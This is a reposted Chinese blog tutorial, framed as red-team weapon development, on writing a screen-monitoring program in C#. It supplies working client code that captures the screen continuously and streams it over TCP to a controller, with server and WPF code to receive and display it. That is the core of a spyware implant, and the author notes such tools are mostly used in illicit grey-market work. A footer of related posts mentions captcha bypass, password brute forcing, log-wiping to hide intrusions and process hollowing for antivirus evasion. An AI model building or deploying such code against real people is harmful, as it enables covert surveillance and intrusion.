【红队武器开发】编写一个屏幕 Monitor 程序

news/2025/2/12 0:17:25/文章来源:https://www.cnblogs.com/o-O-oO/p/18710757

屏幕监控其实在黑灰产使用中的用的会相对多一点,在实际的红队演练中,其实最多就是截个图,留个证用来写报告,这篇文章就间接介绍一下屏幕监控的实现原理,以及编写一个程序,用作学习练习。

屏幕监控

屏幕监控程序的主要逻辑其实可以分为:

  1. 客户端截取屏幕。
  2. 将截取到的屏幕数据通过封包发送到服务端(控制端)。
  3. 服务端接收到数据后,解析并通过UI展示出来。

截取屏幕

像c#这种高级语言,一般在UI框架,比如winform中都会提供封装好的屏幕截取API,你可以直接调用就行:

int width = screenBounds.Width;
int height = screenBounds.Height;
using (Bitmap bitmap = new Bitmap(width, height))
{using (Graphics g = Graphics.FromImage(bitmap)){g.PageUnit = GraphicsUnit.Pixel;g.CopyFromScreen(screenBounds.Location, Point.Empty, screenBounds.Size);}return bitmap;
}

其实类似这种封装好的API底层还是回去调用win32API,但是谁让我们就是图个方便呢?(其实里面有些坑,比如缩放之类的,还是需要调用win32解决,圈内完整代码已经解决了这个问题)

数据传输

这个其实就比较简单了,就是一个服务端用来接收数据,客户端把截取到的图片数据发送给服务端:
服务端接收数据:

tcpListener = new TcpListener(IPAddress.Any, serverPort);
tcpListener.Start();
Console.WriteLine("服务器启动,等待连接...");
tcpClient = tcpListener.AcceptTcpClient();
networkStream = tcpClient.GetStream();
reader = new BinaryReader(networkStream);
while (true)
{while (!networkStream.DataAvailable){Thread.Sleep(100); // 避免高CPU占用}int imageLength = reader.ReadInt32();byte[] imageBytes = await ReadFullyAsync(networkStream, imageLength);this.Dispatcher.InvokeAsync(() => {ReceiveAndDisplayScreenshot(imageBytes);});                         
}

客户端发送数据:

using (TcpClient client = new TcpClient())
{client.Connect(IPAddress.Parse(serverIp), serverPort);using (NetworkStream stream = client.GetStream()){while (true) {byte[] screenshotData = CaptureScreen();var bytesLen = BitConverter.GetBytes(screenshotData.Length);stream.Write(bytesLen, 0, sizeof(Int32));stream.Write(screenshotData, 0, screenshotData.Length);stream.Flush();Thread.Sleep(50);}}
}

UI展示

这个用WPF就太好搞了,WPF就是这点好,写UI通过类XAML语言,实时预览,比硬敲代码舒服多了:

<Grid><Image x:Name="DynamicImage" Stretch="Uniform" Source="{Binding CurrentBitmap}"/>
</Grid>

我们创建一个image控件,绑定到CurrentBitmap,也就是获取到的图片数据上面,实现对图像数据的动态展示。

private void ReceiveAndDisplayScreenshot(byte[] image)
{byte[] DecompressImage = DecompressData(image);using (MemoryStream ms = new MemoryStream(DecompressImage)){BitmapImage bitmapImage = new BitmapImage();bitmapImage.BeginInit();bitmapImage.StreamSource = ms;bitmapImage.CacheOption = BitmapCacheOption.OnLoad;bitmapImage.EndInit();CurrentBitmap = bitmapImage;}
}

每次获取到新的屏幕数据后,就动态解析并展示在UI中。

上述就是一个简单的屏幕监控程序的流程,实际使用中需要优化的地方也是很多的,比如最开始的分辨率缩放问题,又比如效率问题,如何传输,是否需要压缩等等。
成品演示:

https://mp.weixin.qq.com/s?__biz=MzkzMDgyMTM1Ng==&mid=2247484968&idx=1&sn=b9ba907250ae13f1fedd2ef2200e9ded&chksm=c3091d3f46d02aadaccd057220cf4d58a4763454766f073a3aa603a96bc5879051b9ca6b0f5c&scene=126&sessionid=1739187187#rd

原创 黑晶

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/882331.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

windows使用Makefile时自动给可执行文件加上.exe后缀

APP := main在使用makefile的时候,一般通过变量设置自己想要编译出来的可执行文件的名字在windows平台编译出来的可执行文件是需要.exe后缀的识别当前操作系统 通过识别当前的操作系统是什么,从而确定是否添加这个后缀在windows系统中,有这个环境变量说明自己的系统是windows而…

pikachu 验证码绕过 onclient

前端生成的验证码,无论验证码是否正确,都不影响发送到服务器结果(刷新验证码不会通过BP,没有对应的请求出现) 前端验证码逻辑:输入账号密码验证码,如果验证码正确,数据将发送给服务器;如果验证码不正确,数据不会发送给服务器 1.查看页面源代码,发现是前端生成验证码…

图片验证码绕过(验证码不失效) - 使用验证码识别插件

使用BP抓包,抓到的包没有验证码请求添加过滤图片,出现图片验证码请求包添加captcha-killer-modified 插件,识别图片验证码验证码识别服务按照下面链接操作 https://www.cnblogs.com/mr-ryan/p/17812482.html 文档中的ocr_api_server 使用这个链接:https://gitee.com/yijing…

弱口令暴力破解

使用vulhub/tomcat/tomcat8 靶场点击Manager App按钮,提示登陆,输入用户名密码通过BP抓取提交用户名密码的请求报文,获取Authorization信息将Authorization 发送到解码器解码 ,使用Base64 解码成功(一般Base64 编码最后会带= 或者 ==), 解码后知道了发送的密码规则添加Aut…

攻防世界-RE-CatFly

我们将文件拖入虚拟机中运行看到这样的效果 其中上方的数字是不停变化的,下面的次数也在不断的增长。我们猜测这两者是有关联的。 接下来我们进行反编译程序的分析。最上面的字符输出肯定是与printf函数有关,所以我们检索printf在main函数中的调用time(&timer);v13 = 1;v…

Maui 内嵌网页直接调用本机原生功能 Demo

使用 MAUI 制作 H5 套壳程序有以下几个好处:跨平台支持:MAUI (Multi-platform App UI) 允许开发者在多个平台(如 iOS、Android、Windows 和 macOS)上运行应用程序。统一封装的MauiPlus库可以统一调用本机功能,确保在不同平台上有一致的用户体验。访问本地功能:MauiPlus库…

Deepseek最强白嫖指南-通过GROQ调用api使用deepseek-70B模型

众所周知最近deepseek很火,非常火!火出圈,各种博主割韭菜也是割到爆炸💥! 今天给大家写一个通过Groq调用Free api来使用deepseek的70B模型。当然不止这一个模型!DeepSeek-70B 是一款强大的大语言模型,您可以通过 Groq 提供的 API 免费调用该模型。以下是详细的教程,指…

【DeepSeek】本地DeepSeek下载慢,中断、内网无法安装方案来了

最近在群里有不少人反馈,ollama安装deepseek有以下几个问题。 1,特别慢,或者多次中断,导致下载不下来 2,无魔法 3,想在内网环境安装,没有网络 我研究了下解决方案。通过已经下载的模型,可以直接导入。 反向解析模型 查看本地的模型 ollama listNAME …

【Windows 日志】Windows 日志清理秘籍:基于登录日志精准清扫术

免责声明 如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。前言 痕迹清理技术是渗透测试中的关键环节,它旨在消除操作痕迹以防止溯源、隐藏攻击手法,并为进一步的渗透活动争取时间。然而,并非每次渗透…

shell自动化编程简介0

自动化运维是未来的运维的必然趋势会写代码 会用工具Shell编程的特点简单、高效 功能强大 可移植性好作为运维开发人员,编写Shell脚本是第一步 误区:Shell编程就是Linux命令堆积?简单理解:Linux命令+编程语法(if/else、for、while、判断)经验之谈运维的核心就是执行正确的…

【免杀系列】 进程镂空

# 恶意软件 # 进程镂空免责声明 请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。前言 进程镂空(Process Hollowing),又称为“傀儡进程”,是一种恶意软件(…

关于this的练习

题目: 刚开始没有想到用面向对象的方法对书这个类进行操作 /* 我在练习中出现的问题: 1.读题时,不确定方法有没有返回值,以为自己在方法中写了输出语句,但是没有 2.在main函数中,发先需要返回值,并误将double认为int类型 3.在方法中修改返回值之后忘记加return语句 其实…